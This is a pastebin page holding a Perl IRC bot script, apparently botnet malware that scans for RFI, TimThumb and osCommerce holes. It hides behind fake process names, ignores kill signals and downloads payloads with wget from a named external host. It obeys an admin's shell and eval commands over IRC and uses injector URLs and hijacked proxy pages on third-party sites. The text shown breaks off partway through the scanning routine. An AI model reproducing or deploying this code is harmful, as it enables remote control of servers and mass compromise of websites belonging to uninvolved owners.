Another IRC bot

From x, 3 Years ago, written in Plain Text, viewed 2'529 times.
URL http://paste.security-portal.cz/view/f3dab7a3 Embed
Download Paste or View Raw
  1. #!/usr/bin/perl
  2. ####### DON'T MODIF IT or SCRIPT NOT WORK #######
  3. #################################################
  4. #################################################  
  5. use HTTP::Request;
  6. use HTTP::Request::Common;
  7. use HTTP::Request::Common qw(POST);
  8. use LWP::Simple;
  9. use LWP 5.64;
  10. use LWP::UserAgent;
  11. use Socket;
  12. use IO::Socket;
  13. use IO::Socket::INET;
  14. use IO::Select;
  15. use MIME::Base64;
  16. use URI;
  17. use Digest::MD5 qw(md5_hex);
  18. use DBI;
  19. use DBD::mysql;
  20.  
  21. my $datetime    = localtime;
  22. my @fakeprocs   = ("-bash","/usr/sbin/httpd","/usr/local/psa/apache/bin/httpd -DFRONTPAGE -DHAVE_SSL","/usr/sbin/httpd -k start","/usr/sbin/apache2 -k start","php","/usr/local/php5/bin/php-cgi","/usr/local/apache/bin/httpd -k start -DSSL");
  23. my $fakeproc    = $fakeprocs[rand(scalar(@fakeprocs))];
  24. my $ircserver   = "irc.unixon.net";
  25. my $ircport     = "7100";
  26. my $nickname    = "Freak[".int(rand(100))."]";
  27. my $ident       = "scan";
  28. my $channel     = "#bug";
  29. my $channel2    = "#osco";
  30. my $admin       = "PLaTo";
  31. my $fullname    = "sendal jepit";
  32.  
  33. #########################################################
  34. my $rfilogo = "7(3@13rfi7)";                        #
  35. my $thumblogo = "7(3@10TimThumb7)";                 #
  36. my $oscologo = "9,1[4!9]15 OSCO 4<9=4> ";
  37. my $oscosqllogo = "9,1[4!9]15 OSCO - SQL 4<9=4> ";
  38. my $thumbcmd = '!tim';                                  #      
  39. my $rficmd  = '!scan';                                  #
  40. my $oscocmd = "!osco1";
  41. my $rfishell    = "ada deh";                            #
  42. my $gps         = 1;
  43. my $gps2        = 1;     
  44. #############################################################################################################
  45. my $action     = "/data/shell.php cmd=lwp-download%20http://picasa.com.playteck.net/indeks.php";               
  46. my $hostinjector = "picasa.com.squire.ca";
  47. my $thumbid = "http://".$hostinjector."/bat.php";
  48. my $thumbshell = "http://".$hostinjector."/bat.php";
  49. my $injector  =  "http://picasa.com.gymelitys.ca/senyum.txt?";
  50. my $botshell    = "http://clfsc.ca/images/publish.jpg?";
  51. my $botshell2   = "http://clfsc.ca/images/published.png?";
  52. my $botid = "http://clfsc.ca/images/publish.jpg";
  53. my $md5php = md5_hex($thumbid).".php";
  54. my $md5bot = md5_hex($botid).".php";   
  55. #############################################################################################################
  56. my @bypasser    = ("http://vrn-ocenka.ru/media/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=","http://www.taffo.it//images/stories/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=","http://www.quorumsocialclub.co.uk/Walks/_derived/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=");
  57. my $bypass      = $bypasser[rand(scalar(@bypasser))];
  58. my $jpath       = "?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=";
  59. my $jack        = "http://aktywny50.wsfiz.edu.pl/media/search.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
  60. my $jack1 = "http://www.zeo.ch/Joomla/media/search.php".$jpath;
  61. my $jack2 = "http://vrn-ocenka.ru/media/search.php".$jpath;
  62. my $jack3 = "http://www.liskow.pwsz-kalisz.edu.pl/media/search.php".$jpath;
  63. my $jack4 = "http://www.taffo.it//images/stories/search.php".$jpath;
  64. my $jack5 = "http://www.climatem.com/portal/libraries/pear/search.php".$jpath;
  65. my $jack6 = "http://www.suspensioneskapars.com/images/search.ph".$jpath;
  66. my $jack7 = "http://gardengirl.nl/shop/images/search.php".$jpath;
  67. my $jack8 = "http://www.opticall.se/opticaller/media/search.php".$jpath;
  68. my $jack9 = "http://lotto114.co.kr/bbs/search.php".$jpath;
  69. my $jack10 = "http://kig.no/media/search.php".$jpath;
  70. my $jack11      = "http://beton70.tomsk.ru//images/stories/search.php".$jpath;
  71. my @uagents    = ("Microsoft Internet Explorer/4.0b1 (Windows 95)",
  72. "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
  73. "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
  74. "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
  75. "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
  76. "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
  77. "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
  78. "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
  79. "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
  80. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  81. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)",
  82. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
  83. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)",
  84. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
  85. "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
  86. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  87. "Microsoft Pocket Internet Explorer/0.6",
  88. "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
  89. "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;",
  90. "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)",
  91. "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",
  92. "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)",
  93. "Advanced Browser (http://www.avantbrowser.com)",
  94. "Avant Browser (http://www.avantbrowser.com)",
  95. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
  96. "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",
  97. "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",
  98. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  99. "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929",
  100. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0",
  101. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",
  102. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",
  103. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6",
  104. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
  105. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
  106. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
  107. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
  108. "Mozilla/3.0 (OS/2; U)",
  109. "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
  110. "Mozilla/4.61 (Macintosh; I; PPC)",
  111. "Mozilla/4.61 [en] (OS/2; U)",
  112. "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
  113. "Mozilla/4.8 [en] (Windows NT 5.0; U)",
  114. "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)",
  115. "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4",
  116. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
  117. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
  118. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5",
  119. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
  120. "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
  121. "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1",
  122. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  123. "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1",
  124. "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2",
  125. "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",
  126. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b",
  127. "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0",
  128. "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Mobile/7D11",
  129. "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7D11 Safari/528.16",
  130. "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16",
  131. "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20",
  132. "Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C106c",
  133. "Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7D11",
  134. "Mozilla/5.0 (Linux; U; Android 2.1-update1; en-gb; Desire_A8181 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
  135. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) BlackBerry8707/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/150",
  136. "Mozilla/5.0 (Linux; U; Android 1.6; en-gb; HTC Magic Build/DRC92) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
  137. "Alcatel-OH5/1.0 UP.Browser/6.1.0.7.7 (GUI) MMP/1.0",
  138. "BlackBerry8800/4.5.0.69 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/123",
  139. "BlackBerry8310/4.5.0.55 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/212",
  140. "blackberry8520_ver1_subvodafone",
  141. "BlackBerry9000/4.6.0.126 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/-1",
  142. "BlackBerry9700/5.0.0.405 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/102",
  143. "Nokia3110c/2.0 (07.21) Profile/MIDP-2.0 Configuration/CLDC-1.1",
  144. "Nokia6300/2.0 (07.00) Profile/MIDP-2.0 Configuration/CLDC-1.1",
  145. "Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es61i",
  146. "NokiaE61i-1/3.0 (1.0633.62.05) SymbianOS/9.1 Series60/3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  147. "Mozilla/5.0(SymbianOS/9.2; U; Series60/3.1 NokiaN82/10.0.035; Profile/MIDP-2.0 Configuration/CLDC-1.1;) AppleWebKit/413(KHTML, like Gecko)Safari/413",
  148. "Mozilla/5.0 (SymbianOS/9.3; U; Series60/3.2 NokiaN85-1/30.101; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413",
  149. "Mozilla/5.0 (SymbianOS/9.2 U; Series60/3.1 NokiaN95_8GB/10.0.007; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413",
  150. "Mozilla/5.0 (webOS/1.0; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Pre/1.0",
  151. "Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.13337/504; U; ru) Presto/2.2.0",
  152. "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  153. "Samsung-SPHM540 Polaris/6.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  154. "Mozilla/4.0 (MobilePhone SCP-6600/US/1.0) NetFront/3.1 MMP/2.0",
  155. "SonyEricssonC902/R3EA Browser/NetFront/3.4 Profile/MIDP-2.1 Configuration/CLDC-1.1 JavaPlatform/JP-8.3.3",
  156. "SonyEricssonK800i/R1AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  157. "SonyEricssonV600i/R2K Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  158. "Mozilla/5.0 (Linux; U; Android 1.6; en-gb; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
  159. "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  160. "Gigabot/3.0 (http://www.gigablast.com/spider.html)");
  161. my $uagent    = $uagents[rand(scalar(@uagents))];
  162.  
  163. $SIG{'INT'}   = 'IGNORE';
  164. $SIG{'HUP'}   = 'IGNORE';
  165. $SIG{'TERM'}  = 'IGNORE';
  166. $SIG{'CHLD'}  = 'IGNORE';
  167. $SIG{'PS'}    = 'IGNORE';
  168. chdir("/tmp");
  169. chop (my $priper = `wget http://clfsc.ca/images/bat.txt -O manis.jpg;wget http://clfsc.ca/images/publish.jpg -O pahit.jpg;wget http://clfsc.ca/images/tempe.gif -O asem.jpg`);
  170. $ircserver = "$ARGV[0]" if $ARGV[0];
  171. $0 = "$fakeproc"."\0" x 16;;
  172. my $pid = fork;
  173. exit if $pid;
  174. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  175.  
  176. our %irc_servers;
  177. our %DCC;
  178. my $dcc_sel = new IO::Select->new();
  179. $sel_client = IO::Select->new();
  180. sub sendraw {
  181.     if ($#_ == '1') {
  182.     my $socket = $_[0];
  183.     print $socket "$_[1]\n";
  184.     } else {
  185.         print $IRC_cur_socket "$_[0]\n";
  186.     }
  187. }
  188.  
  189. sub connector {
  190.     my $mynick = $_[0];
  191.     my $ircserver_con = $_[1];
  192.     my $ircport_con = $_[2];
  193.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  194.     if (defined($IRC_socket)) {
  195.         $IRC_cur_socket = $IRC_socket;
  196.         $IRC_socket->autoflush(1);
  197.         $sel_client->add($IRC_socket);
  198.                 $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  199.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  200.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  201.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  202.         nick("$mynick");
  203.         my $versi   = "modded by wongedan";
  204.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  205.         sleep (1);}}
  206. sub parse {
  207.     my $servarg = shift;
  208.     if ($servarg =~ /^PING \:(.*)/) {
  209.         sendraw("PONG :$1");
  210.     }
  211.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  212.         if (lc($1) eq lc($mynick)) {
  213.             $mynick = $4;
  214.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  215.         }
  216.     }
  217.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  218.         nick("$mynick".int rand(1));
  219.     }
  220.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  221.         $mynick = $2;
  222.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  223.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  224.         sendraw("MODE $mynick +iB");
  225.         sendraw("JOIN $channel");
  226.         sendraw("JOIN $channel2");
  227.         sleep(2);
  228.         sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  229.  
  230.     }
  231. }
  232. my $line_temp;
  233. while( 1 ) {
  234.     while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  235.     select(undef, undef, undef, 0.01);;
  236.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  237.     my @ready = $sel_client->can_read(0);
  238.     next unless(@ready);
  239.     foreach $fh (@ready) {
  240.         $IRC_cur_socket = $fh;
  241.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  242.         $nread = sysread($fh, $ircmsg, 4096);
  243.         if ($nread == 0) {
  244.             $sel_client->remove($fh);
  245.             $fh->close;
  246.             delete($irc_servers{$fh});
  247.         }
  248.         @lines = split (/\n/, $ircmsg);
  249.         $ircmsg =~ s/\r\n$//;
  250.  
  251.         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  252.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  253.                         my $engine ="JacKAC,JacKAD,JacKAE,JacKAF,JacKAG,JacKAL,JacKAM,JacKAN,JacKAT,JacKAR,JacKAU,JacKBE,JacKBG,JacKBY,JacKHU,JacKOrG,JacKCoM,JacKNeT,JacKPL,JacKIT,JacKID,JacKMY,
  254.                                 JacKES,JacKFI,JacKGOV,JacKHK,JacKHR,JacKIL,JacKLV,JacKMD,JacKNO,JacKNZ,JacKUK,JacKUS,JacKJP,JacKKR,JacKDE,JacKDK,JacKCA,JacKBR,JacKRO,JacKRU,JacKNL,JacKInfO,JacKFR,JacKIN,JacKMX,JacKCZ,JacKCL,JacKCO,JacKCK,JacKEC,JacKEDU,JacKEE,JacKGR,JacKUA,
  255.                                 JacKCN,JacKIR,JacKTH,JacKEU,JacKPH,JacKPK,JacKPT,JackIL,JacKSE,JacKSG,JacKTK,JacKTR,JacKTV,JacKTW,JacKVN,JacKWS,JackIM,JacKSI,JacKZA,JacKBIZ,GooGLe,GooGleINT,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,GiGaBLasT,BigLobe,AoL,Interia,RicerCa,PaGina,ReDiff,AllTheWeb,Bing,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsK,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,YahOo,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,ByPass,WebDe,SaPo,SeZnaM,Onet,ALtaViSTa,VirgiLio,HotBot,LyCos,TisCali,NaVeR,dancefloor,live,rakuten,nova,najdi,goo,uksubmit,excite";
  256.             if ($path eq $mynick) {
  257.                 if ($msg =~ /^PING (.*)/) {
  258.                     sendraw("NOTICE $nick :PING $1");
  259.                 }
  260.                 if ($msg =~ /^VERSION/) {
  261.                     sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
  262.                 }
  263.                 if ($msg =~ /^TIME/) {
  264.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  265.                 }
  266.                 if (&isAdmin($nick) && $msg eq "!die") {
  267.                     &shell("$path","kill -9 $$");
  268.                 }
  269.                 if (&isAdmin($nick) && $msg eq "!killall") {
  270.                     &shell("$path","killall -9 perl");
  271.                 }
  272.                 if (&isAdmin($nick) && $msg eq "!reset") {
  273.                     sendraw("QUIT :Restarting...");
  274.                 }
  275.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  276.                     sendraw("JOIN #".$1);
  277.                 }
  278.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  279.                     sendraw("PART #".$1);
  280.                 }
  281.                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  282.                     sendraw("NICK ".$1);
  283.                 }
  284.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  285.                     sendraw($IRC_cur_socket, "PRIVMSG $nick :10Fake Process/PID : $fakeproc - $$");
  286.                 }
  287.                 if (&isAdmin($nick) && $msg !~ /^!/) {
  288.                     &shell("$nick","$msg");
  289.                 }
  290.            }
  291.             else {
  292.                 if (&isAdmin($nick) && $msg eq "!die") {
  293.                     &shell("$path","kill -9 $$");
  294.                 }
  295.                 if (&isAdmin($nick) && $msg eq "!killall") {
  296.                     &shell("$path","killall -9 perl");
  297.                 }
  298.                 if (&isAdmin($nick) && $msg eq "!reset") {
  299.                     sendraw("QUIT :Restarting...");
  300.                 }
  301.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  302.                     sendraw("JOIN #".$1);
  303.                 }
  304.                 if (&isAdmin($nick) && $msg eq "!part") {
  305.                     sendraw("PART $path");
  306.                 }
  307.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  308.                     sendraw("PART #".$1);
  309.                 }
  310.                 if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  311.                     &shell("$path","$1");
  312.                 }
  313.                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  314.                     &shell("$path","$1");
  315.                 }
  316.                                 if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
  317.                                 eval "$1";
  318.                                 }
  319.  
  320.                 ##################################################################### HELP COMMAND
  321.  
  322.                 if ($msg=~ /^!help/) {
  323.                     my $helplogo = "15(4@10Help15)";
  324.                     &msg("$path","$helplogo 14 #####################10[HELP]14##############################");
  325.                     &msg("$path","$helplogo 7 ( $thumbcmd [bug][dork] ) TimThumb scan ");
  326.                     &msg("$path","$helplogo 14 ######################10[END HELP]14#########################");
  327.                 }
  328.                 if ($msg=~ /^!engine/) {
  329.                     my $enginelogo = "15(4@10EnginE15)";
  330.                     &msg("$path","$enginelogo 4 GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio");
  331.                     &msg("$path","$enginelogo 4 WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo");
  332.                     &msg("$path","$enginelogo 4 BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR");
  333.                 }
  334.                 if ($msg=~ /^!about/) {
  335.                     my $aboutlogo = "15(4@10About Bot15)";
  336.                     &msg("$path","$aboutlogo 10Wordpress / Scanner v1.2 ");
  337.                                         &msg("$path","$aboutlogo 10? Hz");
  338.                 }
  339.                 if ($msg=~ /^!version/) {
  340.                     my $versionlogo = "15(4@10Version15)";
  341.                     &msg("$path","$versionlogo 13 WP / Scanner v1,2");
  342.                 }
  343.                 if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  344.                     if (&isFound($injector,"GIF89")) {
  345.                         &msg("$path","11,1(4@10thumbshell11,1)3 $nickname 10Siap cabul boss 4$nick");
  346.                     } else {
  347.                         &msg("$path","11,1(4@10thumbshell11,1)3 $nickname 4Mandul boss 4$nick!!!");
  348.                     }
  349.                 }
  350.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  351.                     &notice("$nick","10Fake Process/PID : 10$fakeproc - $$");
  352.                 }
  353.  
  354.                                 ################################ rfi #####################################
  355.                
  356.                 if ($msg=~ /^$rficmd\s+(.+?)\s+(.*)/) {
  357.                     if (my $pid = fork) {
  358.                         waitpid($pid, 0);
  359.                     }
  360.                     else {
  361.                         if (fork) { exit; } else {
  362.                             if (&isFound($injector,"GIF89")) {
  363.                             my ($bug,$dork) = ($1,$2);
  364.                             &msg("$path","$rfilogo 9Dork 4<9=4>15 $dork");
  365.                             &msg("$path","$rfilogo 9Bugz 4<9=4>15 $bug");
  366.                             &msg("$path","$rfilogo 9Search Engine 4<9=4>15 Loading ...");
  367.                             &scan_start($path,$bug,$dork,$engine,1);
  368.                         } else {
  369.                             &msg("$path","[ $nick ] $rfilogo 4Injector Not Found!");
  370.                             }
  371.                         }
  372.                         exit;
  373.                     }
  374.                 }                      
  375.                                 #####################################Timthumb################################
  376.                
  377.                   if ($msg =~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
  378.                                         if (my $pid = fork) {
  379.                                                 waitpid($pid, 0);
  380.                                         } else {
  381.                                                 if (fork) { exit; } else {
  382.                                                 if (&isFound($thumbid,"GIF89")) {
  383.                                                 my ($bug,$dork) = ($1,$2);
  384.                                                         &msg("$path","$timlogo 12Dork :4 $dork");
  385.                                                         &msg("$path","$timlogo 12Bugz :4 $bug");
  386.                                                         &msg("$path","$timlogo 6Search Engine Loading ...");
  387.                                                         &scan_start($path,$bug,$dork,$engine,2);
  388.                                                         } else {
  389.                                                         &msg("$path","12?4?7?12?3?4? Lost!!! ");
  390.                                                 }
  391.                                         exit;
  392.                                 }
  393.                         }
  394.                 }
  395.                         #####################################Osco################################                      
  396.                 if ($msg =~ /^$oscocmd\s+(.*)/) {
  397.                                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  398.                                         if (&isFound($injector,"GIF89")) {
  399.                                         my ($bug,$dork) = ("admin/categories.php/login.php",$1);
  400.                                         &msg("$path","$oscologo9Dork 4<9=4>15 $dork ");
  401.                                         &msg("$path","$oscologo9Search Engine 4<9=4>15 Loading ");
  402.                                         &scan_start($path,$bug,$dork,$engine,3);
  403.                                         } else {
  404.                                         &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); exit;
  405.                                                         }
  406.                                                 }
  407.                                         }
  408.                                 }
  409.                                 #####################################################################
  410.             }
  411.         }
  412.  
  413.         for(my $c=0; $c<= $#lines; $c++) {
  414.             $line = $lines[$c];
  415.             $line = $line_temp.$line if ($line_temp);
  416.             $line_temp = '';
  417.             $line =~ s/\r$//;
  418.             unless ($c == $#lines) {
  419.                 &parse("$line");
  420.             } else {
  421.                 if ($#lines == 0) {
  422.                     &parse("$line");
  423.                 } elsif ($lines[$c] =~ /\r$/) {
  424.                     &parse("$line");
  425.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  426.                     &parse("$line");
  427.                 } else {
  428.                     $line_temp = $line;
  429.                 }
  430.             }
  431.         }
  432.     }
  433. }
  434.  
  435. #########################################
  436. sub type () {
  437. my ($chan,$bug,$dork,$engine,$type) = @_;
  438. if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
  439. elsif ($type == 2){&thumb($chan,$bug,$dork,$engine);}
  440. elsif ($type == 3){$type=&osco($chan,$bug,$dork,$engine);}
  441. }
  442.  
  443. sub scan_start() {
  444. my ($chan,$bug,$dork,$engine,$type) = @_;
  445. if ($gps ==1) {
  446.         if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAE",$type); } exit; } }
  447.         if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAR",$type); } exit; } }
